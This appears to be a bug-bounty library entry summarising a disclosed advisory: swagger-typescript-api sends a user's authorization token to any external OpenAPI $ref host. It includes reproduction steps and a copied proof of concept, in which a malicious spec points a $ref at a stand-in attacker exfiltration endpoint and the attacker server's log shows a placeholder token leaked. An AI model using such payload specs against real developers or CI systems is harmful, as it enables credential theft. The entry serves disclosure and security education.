# swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`

swagger-typescript-api forwards --authorizationToken to every external $ref URL with no same-origin check, leaking the developer's bearer token to attacker-controlled hosts during code generation.

- Payout: Research
- Severity: high
- Program: swagger-typescript-api
- Found by: thegr1ffyn
- Disclosed: 2026-07-29
- CVE: CVE-2026-54660
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-h754-fxp7-88wx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-h754-fxp7-88wx
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:info-disclosure vuln:secrets-leak vuln:ssrf

**Target:** Node.js CLI/library code generator resolving external OpenAPI $ref URLs
**Root cause:** getRemoteRequestHeaders unconditionally attaches config.authorizationToken to every fetch of an external $ref, with no same-origin/host allowlist check against the user-supplied spec URL.
**Steps:**
1. Serve a payload spec at `http://127.0.0.1:<spec-port>/spec.json` whose response schema is `{"$ref": "http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json"}`
2. Start a loopback attacker HTTP server on a different port to log incoming requests
3. Run `npm install swagger-typescript-api@13.12.1` and invoke `generateApi({ output: '/tmp/out', url: 'http://127.0.0.1:<spec-port>/spec.json', authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123', httpClientType: 'fetch' })`
4. Observe attacker server receives `GET /EXFIL_ENDPOINT/data.json` with `Authorization: Bearer USER_GITHUB_PAT_super_secret_xyz123`
**How found:** Code review of the header-builder in src/resolved-swagger-schema.ts:81-92 noting the headers object is unconditional, then tracing getRemoteRequestHeaders through fetchRemoteSchemaDocument and warmUpRemoteSchemasCache to confirm it applies to every external $ref URL.
**Exploitation:** Attacker controls or contributes a spec (or a $ref inside one) consumed by a developer/CI using --authorizationToken; during warmUpRemoteSchemasCache the generator fetches the attacker URL with the token attached, delivering the credential verbatim to the attacker's endpoint.
**Escalation:** Stolen token scope determines blast radius: GitHub PAT gives repo read/write, OAuth bearer gives API impersonation, CI service-account token gives pipeline access; multi-tenant SaaS generating clients from tenant specs leaks provider keys.
**Insight:** In code generators and spec/import tooling, trace where user-supplied credentials get attached to outbound fetches: any $ref, import, or remote-include feature is an attacker-controlled URL sink, so check for same-origin scoping on the auth header rather than just SSRF filtering.

## Proof of concept (copied exactly from the original report)

**Malicious spec with cross-origin $ref exfil endpoint**

```
{
  "openapi": "3.0.0",
  "info": { "title": "TokenLeak-payload", "version": "1.0.0" },
  "paths": {
    "/p": {
      "get": {
        "operationId": "p",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json"
```

**Generator invocation with authorizationToken against payload spec**

```
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  output: '/tmp/out',
  url: 'http://127.0.0.1:<spec-port>/spec.json',
  authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123',
  httpClientType: 'fetch'
}))"
```

**Observed attacker server receiving leaked bearer token**

```
[control] (no cross-origin $ref) → attacker-server hits: 0
[payload] ($ref → http://attacker)
  attacker-server hits: 1
  hit: /EXFIL_ENDPOINT/data.json  Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123
  TOKEN LEAKED — attacker server received user-supplied authorizationToken verbatim
```

